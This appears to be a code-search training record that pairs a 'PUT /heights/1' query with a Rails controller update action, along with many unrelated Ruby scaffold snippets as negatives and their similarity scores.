"def index\n @attack_heights = AttackHeight.all\n end",
"def getblockbycount(height)\n request :getblockbycount, height\n end",
"def classifier_params\n \tparams.permit(:height, :weight)\n end",
"def params_json(height, weight)\n result = {}\n result[:weight] = weight if weight != \"NA\"\n result[:height] = height if height != \"NA\"\n result.to_s\n end",
"def get_height(*params); raise('Stub or mock required.') end",
"def initialize(heights)\r\n\t\t@heights = heights\r\n\t\t@length = heights.length\r\n\t\t@max = {indexes: [0,0], area: 0}\r\n\t\tfind_max_area\r\n\tend",
"def new\n @post = Post.new\n 5.times { @post.blog_images.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def create\n @herb = Herb.new(params[:herb])\n\n respond_to do |format|\n if @herb.save\n format.html { redirect_to @herb, notice: 'Herb was successfully created.' }\n format.json { render json: @herb, status: :created, location: @herb }\n else\n format.html { render action: \"new\" }\n format.json { render json: @herb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @hot_water_distribution = HotWaterDistribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hot_water_distribution }\n end\n end",
"def new\n @dock = Dock.find(params[:dock_id])\n @berth = @dock.berths.build\n currentTotalWidth = Berth.where(:dock_id => params[:dock_id]).sum('width')\n @spaceLeft = @dock.length - currentTotalWidth\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @berth }\n end\n end",
"def height(accessoryHeight)\n return if accessoryHeight.nil?\n @dimensions[:height] = [accessoryHeight.to_f, MIN_HEIGHT, MAX_HEIGHT].sort[1]\n end",
"def create\n deck_name = params[:name]\n @deck = Deck.create(:name => deck_name)\n\n SUITS.each do |suit| \n VALUES.each do |value| \n Card.create(:deck_id => @deck.id, :suit => suit, :value => value)\n end\n end\n\n render json: [@deck, @deck.cards] \n end",
"def new\n @post = Post.new\n 2.times { @post.post_images.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def height(value)\n model.height = proc { value }\n end",
"def areas\n @area = Area.new(geo_json: params.to_json)\n if @area.save\n json_response([id: @area.id], :created, :geo_json_recieved)\n else\n json_response(nil, :error, :db_error)\n end\n end",
"def update\n respond_to do |format|\n if @attack_height.update(attack_height_params)\n format.html { redirect_to @attack_height, notice: 'Attack height was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @attack_height.errors, status: :unprocessable_entity }\n end\n end\n end",
"def height(pixels)\n filter << \"Size:Height:#{pixels}\"\n self\n end",
"def house_params\n params.require(:house).permit(\n :title,\n :bedrooms,\n :bathrooms,\n :places,\n :suites,\n :price,\n :address,\n :neighborhood,\n :city,\n :state,\n :description,\n :status,\n :situation,\n :kind,\n :name,\n :email,\n :phone,\n :meters,\n :visits,\n {\n images: []\n }\n )\n end",
"def index\n @down_sizes = DownSize.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @down_sizes }\n end\n end",
"def height=(height)\n @height = height.to_s\n\n setOption('height', @height)\n end",
"def new\n @body_style_size = BodyStyleSize.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @body_style_size }\n end\n end",
"def new\n @highfive = Highfive.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @highfive }\n end\n end",
"def create\n @down_size = DownSize.new(params[:down_size])\n\n respond_to do |format|\n if @down_size.save\n format.html { redirect_to [:admin,@down_size], notice: 'Down size was successfully created.' }\n format.json { render json: @down_size, status: :created, location: @down_size }\n else\n format.html { render action: \"new\" }\n format.json { render json: @down_size.errors, status: :unprocessable_entity }\n end\n end\n end",
"def honey_badger_params\n params.require(:honey_badger).permit(:name, :weight)\n end",
"def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end",
"def create\n @size = Admin::Size.new(size_params)\n\n if @size.save\n render json: @size, status: :created#, location: @size\n else\n render json: @size.errors, status: :unprocessable_entity\n end\n end",
"def create\n @body_style_size = BodyStyleSize.new(params[:body_style_size])\n\n respond_to do |format|\n if @body_style_size.save\n format.html { redirect_to :action => :index, notice: 'Body style size was successfully created.' }\n format.json { render json: @body_style_size, status: :created, location: @body_style_size }\n else\n format.html { render action: \"new\" }\n format.json { render json: @body_style_size.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n party = []\n (1..6).each do |p_number|\n level = params[:dungeon_instance][\"hero#{p_number}_level\"].to_i\n party << level if level > 0\n end\n\n dungeon = Dungeon.new\n dungeon.generate( params[:dungeon_instance][:size].to_i, party,\n encounters_difficulty: params[:dungeon_instance][:difficulty].to_sym )\n # p dungeon.to_json\n\n @dungeon_instance = DungeonInstance.new( dungeon_instance_params.merge( dungeon_data: dungeon.to_json ) )\n\n respond_to do |format|\n if current_user.dungeon_instances << @dungeon_instance\n format.html { redirect_to dungeon_instance_play_path( @dungeon_instance ), notice: 'Dungeon instance was successfully created.' }\n else\n format.html { redirect_to dungeon_instances_path, error: 'Dungeon instance was successfully created.' }\n end\n end\n end",
"def test_all_the_dogs_are_in_one_pack\n @params = {\n packs: [\n {\n dogs: ['Spot', 'Fido', 'Rover'],\n location: 'San Francisco',\n },\n {\n dogs: ['Doggie', 'Lassie'],\n location: 'Canada',\n },\n ],\n }\n\n\n post \"/dogs\", params = @params\n assert_equal 'Spot, Fido, Rover, Doggie, and Lassie are all in one pack. Oh no!', last_response.body\n end",
"def create\n @hull = Hull.new(hull_params)\n\n respond_to do |format|\n if @hull.save\n format.html { redirect_to @hull, notice: 'Hull was successfully created.' }\n format.json { render :show, status: :created, location: @hull }\n else\n format.html { render :new }\n format.json { render json: @hull.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @wbr_datum = WbrDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wbr_datum }\n end\n end",
"def create_bed_new\n count = no_of_beds.to_i\n count.times do\n beds.create()\n end\n end",
"def height; end",
"def height; end",
"def bbhk_params\n params.require(:bbhk).permit(:hall_size, :bed1_size, :bed2_size, :kitchen_size, :floor, :sold_out, :status)\n end",
"def create\n @body_of_water = BodyOfWater.new(body_of_water_params)\n\n respond_to do |format|\n if @body_of_water.save\n format.html { redirect_to @body_of_water, notice: \"Body of water was successfully created.\" }\n format.json { render :show, status: :created, location: @body_of_water }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @body_of_water.errors, status: :unprocessable_entity }\n end\n end\n end",
"def height\n @height = @height + 1\n end",
"def create\n @bollywood = Bollywood.new(bollywood_params)\n\n respond_to do |format|\n if @bollywood.save\n format.html { redirect_to @bollywood, notice: 'Bollywood was successfully created.' }\n format.json { render :show, status: :created, location: @bollywood }\n else\n format.html { render :new }\n format.json { render json: @bollywood.errors, status: :unprocessabl2e_entity }\n end\n end\n end",
"def new\n @bemap = Bemap.new\n @show_controls = false\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bemap }\n end\n end",
"def ruler_params\n params.require(:ruler).permit(:height, :device_id)\n end",
"def new\n @svgpost = Svgpost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @svgpost }\n end\n end",
"def new\n @bwimage = Bwimage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bwimage }\n end\n end",
"def create\n @bloom = Bloom.new(params[:bloom])\n\n respond_to do |format|\n if @bloom.save\n format.html { redirect_to @bloom, notice: 'Bloom was successfully created.' }\n format.json { render json: @bloom, status: :created, location: @bloom }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bloom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wbr_datum = WbrDatum.new(params[:wbr_datum])\n\n respond_to do |format|\n if @wbr_datum.save\n format.html { redirect_to wbr_data_path, notice: 'Wbr datum was successfully created.' }\n format.json { render json: @wbr_datum, status: :created, location: @wbr_datum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wbr_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def grow \n\t\t@height += 1\n\tend",
"def index\n @breeds = Breed.all\n\n render json: @breeds\n end",
"def create\n @squares = Square.all\n new_square = Square.create(params.require(:squares).permit(:border_radius, :side_length, :color) ) \n @new_square = new_square\n @border = params[:border_radius]\n @length = params[:side_length]\n @color = params[:color]\n redirect_to \"/squares/#{new_square.id}\"\n\n end",
"def create\n @bowler = Bowler.new(bowler_params)\n @bowler.save\n respond_with(@bowler)\n end",
"def hospital_bedsize_params\n params.require(:hospital_bedsize).permit(:hospital_name, :city, :state, :staffed_beds, :total_discharges, :patient_days, :gross_patient_revenue)\n end",
"def create\n render json: Beverage.create!(beverage_post_params), status: :created\n end",
"def getblockbycount(height)\n @api.request 'getblockbycount', height\n end",
"def new\n @droparea = Droparea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @droparea }\n end\n end",
"def children\n parent_id = params['parent_id']\n\n children = Child.includes(:bursts).where(parent_id: parent_id).map{ |child|\n last_burst = child.bursts.last\n burst_rate = last_burst.present? ? calc_burst_rate(last_burst) : 0\n\n {\n id: child.id,\n name: child.name,\n burst_rate: burst_rate\n }\n }\n\n render json: children\n end",
"def new\n @width = Width.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @width }\n end\n end",
"def create\n @bike_rack = BikeRack.new(bike_rack_params)\n\n respond_to do |format|\n if @bike_rack.save\n flash[:success] = 'Bike rack was successfully created.'\n format.html { redirect_to @bike_rack }\n format.json { render :show, status: :created, location: @bike_rack }\n else\n flash[:danger] = 'There was a problem with creating Bike rack.'\n format.html { render :new }\n format.json { render json: @bike_rack.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6345655",
"0.62291074",
"0.61206025",
"0.5885749",
"0.586413",
"0.5859676",
"0.5771747",
"0.5670831",
"0.5569124",
"0.556342",
"0.53458285",
"0.53324974",
"0.53019625",
"0.5291227",
"0.52649796",
"0.522007",
"0.522007",
"0.5205171",
"0.5119396",
"0.5110129",
"0.504688",
"0.5044305",
"0.5029161",
"0.49971867",
"0.49658912",
"0.4959287",
"0.4953693",
"0.49521622",
"0.49386615",
"0.48947865",
"0.48933432",
"0.48814765",
"0.48624337",
"0.48580563",
"0.48406556",
"0.48255965",
"0.48255965",
"0.48234344",
"0.48097295",
"0.48057464",
"0.47997555",
"0.47985706",
"0.47933578",
"0.47906885",
"0.4773874",
"0.47144997",
"0.47124442",
"0.47045025",
"0.46947208",
"0.46935886",
"0.46657842",
"0.46482372",
"0.46379858",
"0.46306038",
"0.46162644",
"0.4605597",
"0.4600737",
"0.45959195",
"0.4590672",
"0.45858258",
"0.4585526",
"0.4585193",
"0.45767725",
"0.45761725",
"0.4562285",
"0.45584112",
"0.45569944",
"0.45487198",
"0.4530952",
"0.4516447",
"0.45124266",
"0.4505223",
"0.45029175",
"0.44987062",
"0.44924936",
"0.4491404",
"0.44887382",
"0.44861507",
"0.44861507",
"0.4483969",
"0.44824213",
"0.44741482",
"0.4472869",
"0.44716302",
"0.4470383",
"0.44701096",
"0.447001",
"0.4469914",
"0.44638106",
"0.44625792",
"0.4456485",
"0.4453659",
"0.44527617",
"0.44402757",
"0.44348225",
"0.44297025",
"0.44296494",
"0.44254303",
"0.44248617",
"0.44222713"
] |
0.66400814
|
0
|
PUT /heights/1 PUT /heights/1.json
|
def update
@height = Height.find(params[:id])
respond_to do |format|
if @height.update_attributes(params[:height])
format.html { redirect_to [:admin,@height], notice: 'Height was successfully updated.' }
format.json { head :ok }
else
format.html { render action: "edit" }
format.json { render json: @height.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_height(height) \n op = {:operation => :set_height, :height => height}\n add_operation op\n end",
"def destroy\n @height = Height.find(params[:id])\n @height.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_heights_url }\n format.json { head :ok }\n end\n end",
"def update\n respond_to do |format|\n if @attack_height.update(attack_height_params)\n format.html { redirect_to @attack_height, notice: 'Attack height was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @attack_height.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @height = Height.new(params[:height])\n\n respond_to do |format|\n if @height.save\n format.html { redirect_to [:admin,@height], notice: 'Height was successfully created.' }\n format.json { render json: @height, status: :created, location: @height }\n else\n format.html { render action: \"new\" }\n format.json { render json: @height.errors, status: :unprocessable_entity }\n end\n end\n end",
"def height=(height)\n end",
"def update_heights\n\t\t@height = @tile.attributes[\"height\"]\n\t\t@waterlevel = @tile.agents.length * HEIGHT_MOD \n\tend",
"def show\n @height = Height.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @height }\n end\n end",
"def update\n @bodydatum.height = @bodydatum.height.round(2)\n @bodydatum.weight = @bodydatum.weight.round(1)\n respond_to do |format|\n if @bodydatum.update(bodydatum_params)\n format.html { redirect_to @bodydatum, notice: 'Bodydatum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bodydatum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def height=(value)\n @height = value\n end",
"def height=(value)\n\t\t\t@height = value\n\t\tend",
"def height=(value)\n\t\t\t@height = value\n\t\tend",
"def new\n @height = Height.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @height }\n end\n end",
"def height=(height)\n if height.nil?\n fail ArgumentError, 'invalid value for \"height\", height cannot be nil.'\n end\n @height = height\n end",
"def setheight(height)\n @height = height\n end",
"def height=(height)\n if height.nil?\n fail ArgumentError, 'invalid value for \"height\", height cannot be nil.'\n end\n if height < 0\n fail ArgumentError, 'invalid value for \"height\", must be greater than or equal to 0.'\n end\n @height = height\n end",
"def attack_height_params\n params.require(:attack_height).permit(:name, :description)\n end",
"def heel_params\n params.require(:heel).permit(:height)\n end",
"def height=(height)\n if !height.nil? && height < 0\n fail ArgumentError, 'invalid value for \"height\", must be greater than or equal to 0.'\n end\n\n @height = height\n end",
"def index\n @heights = Height.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @heights }\n end\n end",
"def update\n hall_params = params.require(:hall).permit(:name, :description, :scale, :items_url, :map)\n respond_to do |format|\n if @hall.update(hall_params)\n format.html { redirect_to @hall, notice: 'Hall was successfully updated.' }\n format.json { render :show, status: :ok, location: @hall }\n else\n format.html { render :edit }\n format.json { render json: @hall.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @height = args[:height] if args.key?(:height)\n @width = args[:width] if args.key?(:width)\n end",
"def update!(**args)\n @height = args[:height] if args.key?(:height)\n @width = args[:width] if args.key?(:width)\n end",
"def update!(**args)\n @height = args[:height] if args.key?(:height)\n @width = args[:width] if args.key?(:width)\n end",
"def set_Height(value)\n set_input(\"Height\", value)\n end",
"def height(value)\n fail InvalidHeight if y_out_of_bounds?(value)\n\n attributes[:geometry][:height] = value\n end",
"def update\n if @size.update(size_params)\n render json: @size, status: :ok#, location: @size\n else\n render json: @size.errors, status: :unprocessable_entity\n end\n end",
"def update\n @bowler.update(bowler_params)\n respond_with(@bowler)\n end",
"def update!(**args)\n @height = args[:height] if args.key?(:height)\n @unit = args[:unit] if args.key?(:unit)\n @width = args[:width] if args.key?(:width)\n end",
"def create\n @attack_height = AttackHeight.new(attack_height_params)\n\n respond_to do |format|\n if @attack_height.save\n format.html { redirect_to @attack_height, notice: 'Attack height was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attack_height }\n else\n format.html { render action: 'new' }\n format.json { render json: @attack_height.errors, status: :unprocessable_entity }\n end\n end\n end",
"def height=(height)\n @height = height.to_s\n\n setOption('height', @height)\n end",
"def update\n @animal.update(animal_params)\n respond_with(@shelter)\n end",
"def update\n respond_to do |format|\n if @hood.update(hood_params)\n format.html { redirect_to @hood, notice: 'Hood was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @hood.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_change_height\n return unless @mode == :take\n return unless open?\n optimal_h = fitting_height(1)\n return if self.height == optimal_h\n if self.height < optimal_h\n self.height = optimal_h\n elsif self.height > optimal_h\n self.height -= 5\n end\n end",
"def resize_height(_height)\n raise \"#{self.class.name} is expected to define #resize_height, to properly set component sprite attributes\"\n end",
"def height(value)\n model.height = proc { value }\n end",
"def height=(val)\n super\n fire_dimension_changed :height\n end",
"def update\n @boat_width = BoatWidth.find(params[:id])\n\n respond_to do |format|\n if @boat_width.update_attributes(params[:boat_width])\n format.html { redirect_to(@boat_width, :notice => 'Boat width was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @boat_width.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @hoge = Hoge.find(params[:id])\n\n respond_to do |format|\n if @hoge.update_attributes(params[:hoge])\n format.html { redirect_to @hoge, notice: 'Hoge was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hoge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @map = Map.find(params[:id])\n\n respond_to do |format|\n #if @map.update_attributes(params[:map])\n if @map.update_attributes(height: params[:height], width: params[:width])\n format.html { redirect_to @map, notice: 'Map was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @map.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bloom = Bloom.find(params[:id])\n\n respond_to do |format|\n if @bloom.update_attributes(params[:bloom])\n format.html { redirect_to @bloom, notice: 'Bloom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bloom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def height=(value)\n @style.height = value\n end",
"def update\n @width = Width.find(params[:id])\n\n respond_to do |format|\n if @width.update_attributes(params[:width])\n format.html { redirect_to @width, notice: 'Width was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @width.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @hero = Hero.find(params[:id])\n\n if @hero.update(hero_params)\n head :no_content\n else\n render json: @hero.errors, status: :unprocessable_entity\n end\n end",
"def height(_hash)\n raise Sibit::NotSupportedError, 'Earn API doesn\\'t provide height()'\n end",
"def update\n respond_to do |format|\n if @bow.update(bow_params)\n format.html { redirect_to @bow, notice: 'Bow was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def height(_hash)\n raise Sibit::NotSupportedError, 'Blockchair API doesn\\'t provide height()'\n end",
"def update!(**args)\n @expiration_timestamp_micros = args[:expiration_timestamp_micros] if args.key?(:expiration_timestamp_micros)\n @height = args[:height] if args.key?(:height)\n @type = args[:type] if args.key?(:type)\n @width = args[:width] if args.key?(:width)\n end",
"def height(value)\n @ole.Height = value\n nil\n end",
"def height(value)\n @ole.Height = value\n nil\n end",
"def setHeight(height)\n # This exists to deal with an inconsistency in IE's implementation where\n # it won't accept negative numbers in length measurements\n # FIXME: assert extractLengthValue(height.trim().toLowerCase()) >= 0 : \"CSS heights should not be negative\";\n\n DOM.setStyleAttribute(@element, \"height\", height)\n end",
"def update\n @shelter = Shelter.find(params[:id])\n\n if @shelter.update(shelter_params)\n head :no_content\n else\n render json: @shelter.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @bath.update(bath_params)\n format.html { redirect_to @bath, notice: 'Bath was successfully updated.' }\n format.json { render :show, status: :ok, location: @bath }\n else\n format.html { render :edit }\n format.json { render json: @bath.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @hull.update(hull_params)\n format.html { redirect_to @hull, notice: 'Hull was successfully updated.' }\n format.json { render :show, status: :ok, location: @hull }\n else\n format.html { render :edit }\n format.json { render json: @hull.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @fife_url = args[:fife_url] if args.key?(:fife_url)\n @height = args[:height] if args.key?(:height)\n @width = args[:width] if args.key?(:width)\n end",
"def update\n respond_to do |format|\n if @hamster.update(hamster_params)\n format.html { redirect_to @hamster, notice: 'Hamster was successfully updated.' }\n format.json { render :show, status: :ok, location: @hamster }\n else\n format.html { render :edit }\n format.json { render json: @hamster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @body_style_size = BodyStyleSize.find(params[:id])\n\n respond_to do |format|\n if @body_style_size.update_attributes(params[:body_style_size])\n format.html { redirect_to @body_style_size, notice: 'Body style size was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @body_style_size.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @size.update(size_params)\n format.html { redirect_to @size, notice: 'Size was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @size.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @height = args[:height] if args.key?(:height)\n @horizontal_offset = args[:horizontal_offset] if args.key?(:horizontal_offset)\n @vertical_offset = args[:vertical_offset] if args.key?(:vertical_offset)\n @width = args[:width] if args.key?(:width)\n end",
"def validatorsets_height_get_with_http_info(height, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TendermintRPCApi.validatorsets_height_get ...'\n end\n # verify the required parameter 'height' is set\n if @api_client.config.client_side_validation && height.nil?\n fail ArgumentError, \"Missing the required parameter 'height' when calling TendermintRPCApi.validatorsets_height_get\"\n end\n # resource path\n local_var_path = '/validatorsets/{height}'.sub('{' + 'height' + '}', height.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2002')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TendermintRPCApi#validatorsets_height_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n @deck = Deck.find(params[:id])\n @deck.update(title: params[:title])\n render \"update.json.jbuilder\", status: :ok\n end",
"def update\n respond_to do |format|\n if @shrink.update(shrink_params)\n format.html { redirect_to @shrink, notice: 'Shrink was successfully updated.' }\n format.json { render :show, status: :ok, location: @shrink }\n else\n format.html { render :edit }\n format.json { render json: @shrink.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @attack_height.destroy\n respond_to do |format|\n format.html { redirect_to attack_heights_url }\n format.json { head :no_content }\n end\n end",
"def height(input)\n process(:height, input)\n end",
"def update\n @human = Human.find(params[:id])\n\n respond_to do |format|\n if @human.update_attributes(params[:human])\n format.html { redirect_to @human, notice: 'Human was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @human.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @human = Human.find(params[:id])\n\n respond_to do |format|\n if @human.update_attributes(params[:human])\n format.html { redirect_to @human, notice: 'Human was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @human.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @hospital_bedsize.update(hospital_bedsize_params)\n format.html { redirect_to @hospital_bedsize, notice: 'Hospital bedsize was successfully updated.' }\n format.json { render :show, status: :ok, location: @hospital_bedsize }\n else\n format.html { render :edit }\n format.json { render json: @hospital_bedsize.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bunny.update(bunny_params)\n format.html { redirect_to @bunny, notice: 'Bunny was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bunny.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @golden_horse.update(golden_horse_params)\n format.html { redirect_to @golden_horse, notice: 'Golden horse was successfully updated.' }\n format.json { render :show, status: :ok, location: @golden_horse }\n else\n format.html { render :edit }\n format.json { render json: @golden_horse.errors, status: :unprocessable_entity }\n end\n end\n end",
"def height\n end",
"def height\n end",
"def update\n params.require(%i[id units])\n retrieve_and_validate_put.update!(units: params[:units])\n head :no_content\n end",
"def update\n animal = Animal.find(params[:id])\n\n if validate_params(animal_params)\n animal.update(animal_params)\n render json: animal, status: 200, location: [:api, animal]\n else\n render json: { errors: animal.errors }, status: 422\n end\n end",
"def update\n @shot = Shot.find(params[:id])\n\n if @shot.update(shot_params)\n head :no_content\n else\n render json: @shot.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @thickness.update(thickness_params)\n format.html { redirect_to @thickness, notice: 'Thickness was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @thickness.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @secret.update_attributes(secret_params)\n head :no_content\n else\n render json: @secret.errors, status: :unprocessable_entity\n end\n end",
"def height(hash)\n best_of('height') do |api|\n api.height(hash)\n end\n end",
"def update\n respond_to do |format|\n if @hastag.update(hastag_params)\n format.html { redirect_to @hastag, notice: 'Hastag was successfully updated.' }\n format.json { render :show, status: :ok, location: @hastag }\n else\n format.html { render :edit }\n format.json { render json: @hastag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @health.update(health_params)\n format.html { redirect_to @health, notice: 'Health was successfully updated.' }\n format.json { render :show, status: :ok, location: @health }\n else\n format.html { render :edit }\n format.json { render json: @health.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n bosses_update\n update_boss_hp_bar\n end",
"def update\n @hive = Hive.find(params[:id])\n\n respond_to do |format|\n if @hive.update_attributes(params[:hive])\n format.html { redirect_to @hive, notice: 'Hive was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hive.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shirt_size = ShirtSize.find(params[:id])\n\n respond_to do |format|\n if @shirt_size.update_attributes(params[:shirt_size])\n format.html { redirect_to @shirt_size, notice: 'Shirt size was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shirt_size.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @housing.update(housing_params)\n format.html {\n redirect_to housings_url, notice: 'Housing was successfully updated.' }\n format.json {\n render json: {}, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @housing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bemap = Bemap.find(params[:id])\n\n respond_to do |format|\n if @bemap.update_attributes(params[:bemap])\n format.html { redirect_to @bemap, notice: 'Bemap was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bemap.errors, status: :unprocessable_entity }\n end\n end\n end",
"def height=(height) @side = height end",
"def update\n @down_size = DownSize.find(params[:id])\n\n respond_to do |format|\n if @down_size.update_attributes(params[:down_size])\n format.html { redirect_to [:admin,@down_size], notice: 'Down size was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @down_size.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_slots!(hash)\n update_slots(hash).save!\n end",
"def update\n @barrack = Barrack.find(params[:id])\n\n respond_to do |format|\n if @barrack.update_attributes(params[:barrack])\n format.html { redirect_to @barrack, notice: 'Barrack was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @barrack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @male_shot_put_head.update(male_shot_put_head_params)\n format.html { redirect_to @male_shot_put_head, notice: 'Male shot put head was successfully updated.' }\n format.json { render :show, status: :ok, location: @male_shot_put_head }\n else\n format.html { render :edit }\n format.json { render json: @male_shot_put_head.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update #saves and redirects, saves changes\n @line_item = LineItem.find(params[:id])\n @line_item.quantity = params[:quantity]\n @line_item.size_id = params[:size_id]\n @line_item.save\n render json: @line_item\n end",
"def height=(h)\n @view__.height = h\n end",
"def update\n respond_to do |format|\n if @bowling.update(bowling_params)\n format.html { redirect_to @bowling, notice: 'Bowling was successfully updated.' }\n format.json { render :show, status: :ok, location: @bowling }\n else\n format.html { render :edit }\n format.json { render json: @bowling.errors, status: :unprocessable_entity }\n end\n end\n end",
